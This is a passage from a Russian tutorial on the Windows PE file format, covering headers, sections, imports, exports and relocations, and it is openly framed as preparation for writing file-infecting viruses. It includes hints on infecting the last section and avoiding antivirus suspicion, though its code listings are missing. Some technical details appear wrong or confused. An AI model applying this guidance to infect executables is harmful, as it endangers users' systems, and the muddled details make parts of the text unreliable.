DLLобязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом. # define IMAGE_ FILE_ UP_ SYSTEM_ ONLY 0 x4000

Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.

Главные поля в файловом заголовке – это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.

В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.

В WINNT.Hопциональный заголовок – это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:

Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации MicrosoftPE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.

WORD Magic; Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможныезначения: #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b Для спецификации PE32 #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b Для спецификации PE64 #define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107

Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.

Для 32х разрядных ОС есть одно возможное значение - IMAGE_ NT_OPTIONAL_ HDR32_MAGIC

BYTE MajorLinkerVersion; Старшее слово версии линковщика, создавшего данный файл. Может быть любым. BYTE MinorLinkerVersion ; Младшее слово версии линковщика, создавшего данный файл. Может быть любым. DWORD SizeOfCode ; Размер секции кода или сумма всех секций кода. В WindowsXPSP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc. DWORD SizeOfInitializedData ; Размер секции с инициализированными данными. То же самое, что и с прошлым параметром. DWORD SizeOfUninitializedData; Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром. DWORD AddressOfEntryPoint; Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется - целочисленное переполнение. DWORD BaseOfCode ; RVAоткуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc. DWORD BaseOfData; RVAоткуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. DWORD ImageBase; При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H. DWORD SectionAlignment;

Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:

(3) z = (x + (y-1))&(~(y-1))

,где x – выравниваемое значение, y– выравнивающий фактор.

Посмотрите на пример функции, которое выравнивает вверх нужное значение:

Вот процедура, которая выравнивает вниз нужное значение:

А вот макросы на Си делающие то же самое:

DWORD FileAlignment ; Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200Hи 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlignдля получения выровненного значения. WORD MajorOperatingSystemVersion ;

WORD MinorOperatingSystemVersion ; Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет HardWisdom!)WORD MajorImageVersion ;

WORD MinorImageVersion ; Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым. WORD MajorSubsystemVersion ;

WORD MinorSubsystemVersion ; Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным. DWORD Win32VersionValue; Зарезервировано. Может быть любым. DWORD SizeOfImage;

Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:

(4) SizeOfImage = VirtualSize + VirtualAddress

DWORD SizeOfHeaders ;

Размер заголовков. Вычисляется по формуле

(5) SizeOfHeaders = DOS Stub + PE Header + Object Table

Кратно значению FileAlignment. Должно быть корректным.

DWORD CheckSum ;

Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLLдолжна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все :)). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье «Make your own CheckSumMappedFile» by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает :( Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.

WORD Subsystem ;

Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:

Подсистема может быть только одна. Если подсистема CUI, то Windowsсоздает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI

WORD DllCharacteristics ; Поле никогда не используется. Может быть любым. DWORD SizeOfStackReserve ; Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле. DWORD SizeOfStackCommit ; Объем виртуальной памяти, выделяемой под начальный стек потока. DWORD SizeOfHeapReserve ; Объем виртуальной памяти, резервируемой под начальный хип программы. DWORD SizeOfHeapCommit; Объем виртуальной памяти, выделяемой под начальный хип программы. DWORD LoaderFlags ; Не используемое поле. Может быть любым. DWORD NumberOfRvaAndSizes ; Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. ДажеконстантаIMAGE_NUMBEROF_DIRECTORY_ENTRIES вWINNT.H определенакак 10H. Так что размер опционального заголовка, скорее всего, будет E0Hбайт. IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:

Вообще каждый элемент массива указывает на какую-либо структуру, например на таблицу импорта. Т.е. каждый элемент это информация о директории, каждая из которых несет собой определенную смысловую нагрузку. Определенный индекс в массиве соответствует определенной директории. Директория может быть секцией, а может и не быть секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта, то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов:

Структура IMAGE_DATA_DIRECTORY содержит в себе RVAдиректории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.

Таблица секций – это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов :). Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки, а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо «талантливые» программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях WindowsNTмогут использоваться много стандартных секций - .text(.CODE) – код программы, .bss– для неинициализированных данных, .rdata– данные только для чтения, .data – глобальные переменные, .rsrc– ресурсы, .edata – экспорт, .idata– импорт, .debug– отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:

Опишем по порядку эти поля:

BYTE Name[ 8 ];

Название секции.

Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawDataвыровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то…здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.

DWORD VirtualAddress; Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA. DWORD SizeOfRawData; Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла. DWORD PointerToRawData; Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении. DWORD PointerToRelocations; Не используется в исполняемых файлах. Может быть любым. DWORD PointerToLinenumbers; Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение. WORD NumberOfRelocations; Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым. WORD NumberOfLinenumbers; Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbersне используется, то может принимать любые значения. DWORD Characteristics;

Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.

ФлагиIMAGE_SCN_MEM_EXECUTE иIMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию «или». Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristicsбудет выглядить следующим образом:

Это значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.

Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.

Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.

Экспорт – механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLLобычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал – это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.

В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:

DWORD Characteristics; Это поле не используется. Может быть любым. DWORD TimeDateStamp; Это поле содержит дату создания файла. Может быть любым. WORD MajorVersion; WORD MinorVersion; Поля не используются. Могут быть любыми. DWORD Name; Это RVAASCIIZ-строки содержащей имя данного исполняемого модуля. DWORD Base; Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B,57B,58B и больше экспортируемых функций нет, то это значение будет 56B. DWORD NumberOfFunctions; Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу. DWORD NumberOfNames; Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам. DWORD AddressOfFunctions; RVA массиваадресовфункций. Адреса функций – это RVAточек входа каждой функции. Т.к. RVAв PE32 32-х разрядные, то это массив DWORD’ов. DWORD AddressOfNames; Это поле является RVAи указывает на массив указателей на строки. Строки – ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле. DWORD AddressOfNameOrdinals;

RVA массиваслов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.

Самое важное поле в таблице экспорта – это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции – по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них – AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNamesсодержит RVAстрок с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:

Не забывайте, что имена функций могут быть представлены в двух версиях - ANSIи UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции. Для ANSIверсии в конце имени функции используется буква A, для UNICODE– W.

В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.

Иногда в одной DLLсодержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeapиз NTDLL.DLL.

Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот «адрес функции» является RVA-строки вида имя_библиотеки.имя_функции(например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить что функция является переданной.

Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:

a) Поиск адреса функции по имени. Алгоритм выглядит так:

• 1) Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.

• 2) Использовать этот индекс как индекс в массиве AddressOfNameOrdinalsи получить значение в массиве.

• 3) Вычесть из полученного значения OrdinalBase.

• 4) Использовать полученный индекс, чтобы получить RVAфункции в массиве AddressOfFuncions

Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.

б) Поиск имени по ординалу

• 1) Взять ординал и сложить его с OrdinalBase.

• 2) Найти полученное значение в массиве AddressOfNameOrdinals.

• 3) Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.

Импорт в PE-файлах – это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32.DLL, то вместо инструкции CALL используется инструкция JMPDWORDPTR [XXXXXXXX]. Адрес указанный как XXXXXXXXнаходиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:

Это очень удачное решение – хранить адрес функции в одном месте. Если DLLзагрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.

Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при чтении других авторов.

Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов - это первая вещь, которая действительно интересна.

Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibraryвозвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе «Биндинг»).

Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива - нулевой. Каждый элемент соответствует DLL,из которой импортируют функции. Каждый элемент выглядит следующим образом:

Опишем поля этой структуры по порядку.

Это поле содержит RVAмассива двойных слов. Каждый элемент этого массива является объединением IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.

DWORD TimeDateStamp; Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStampобозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется «биндинг» (подробнее об этом ниже). DWORD ForwarderChain; Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение. DWORD Name; Имя DLL, откуда импортируются функции. DWORD FirstThunk;

RVAмассива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.

В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IAT – importaddresstable). Вообще, т.к. массив OriginalFirstThunkне патчится загрузчиком, то только FirstThunkсчитается настоящей таблицей адресов импорта – IAT.

Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определено следующим образом:

Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается, если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.

Если происходит импорт по имени, то двойное слово содержит RVAструктуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:

WORD Hint; Укороченный идентификатор точки входа. BYTE Name[?];

Название импортированной функции.

В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLLиз которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTORявляются имя DLLи два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD’ом. Первый массив – OriginalFirstThunk, остается неизменным при загрузке. Второй массив - FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLLмассив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVAна структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddressвозвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVAIMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddressпередается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD’е массива FirstThunkсодержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunkостается прежним. Линкеры фирмы Borlandделают массив OriginalFirstThunkнулевым, что можно считать ошибкой, но мы должны с ней считаться.

Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.

Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Естьдвавидабиндинга – OLD STYLE BINDING иNEW STYLE BINDING.

ВначалеобOLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStampтой DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLLи в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStampтребуемой DLLможет иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStampравно нулю. Если DLLбыла загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.

Если DLLэкспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChainструктуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChainсодержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция – последняя, то это значение элемента соответствующего данному индексу равно -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив - OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunkобязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.

Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций. При NEWSTYLEBINDING поля TimeDateStampи ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.

Bound-импорт называют также - привязанный импорт. В массиве DataDirectoryэлемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEWSTYLEBINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:

DWORD TimeDateStamp; Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени. WORD OffsetModuleName; Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA! WORD NumberOfModuleForwarderRefs;

Счетчик – указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.

Delay-импорт, называется также, - отложенный импорт. Delay-импорт – это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта – это не свойство операционной системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется – DelayHelper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibraryи GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT в таблице директорий. RVAв DataDirectoryуказывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:

Каждая структура соответствует одной DLLимпортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (ImportNameTable). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:

DWORD grAttrs; Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса – RVA, если – 0, то VA. LPCSTR szName; Указатель RVA/VAна ASCIIZ-строку с именем загружаемой DLL. HMODULE * phmod В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL. PImgThunkData pIAT; RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива. PCImgThunkData pINT; RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива. PCImgThunkData pBoundIAT; RVA/VA-указатель на таблицу адресов функций Bound-импорта. PCImgThunkData pUnloadIAT; Когда DLLвыгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk. DWORD dwTimeStamp;

Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.

Представляю Вашему вниманию, пример процедуры – дампера таблицы отложенного импорта:

В разных ОС импорт может быть реализован по-разному. Механизмов – целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.

Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин – дельта. Дельта - это разница по модулю между базовым адресом для PE-файла и значением ImageBaseв опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXEфайл грузится по своему базовому адресу, но DLLобычно – нет. Базовые поправки – это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:

DWORD VirtualAddress; НачальныйRVA дляданногокускапоправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка. DWORD SizeOfBlock;

Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы

(6) X = (SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION))/2

WORD TypeOffset

Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddressиз данного блока поправок. 4 старших разряда – тип поправки. Для процессоров Intelдля типа поправки есть единственное возможное значение – IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.

Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.

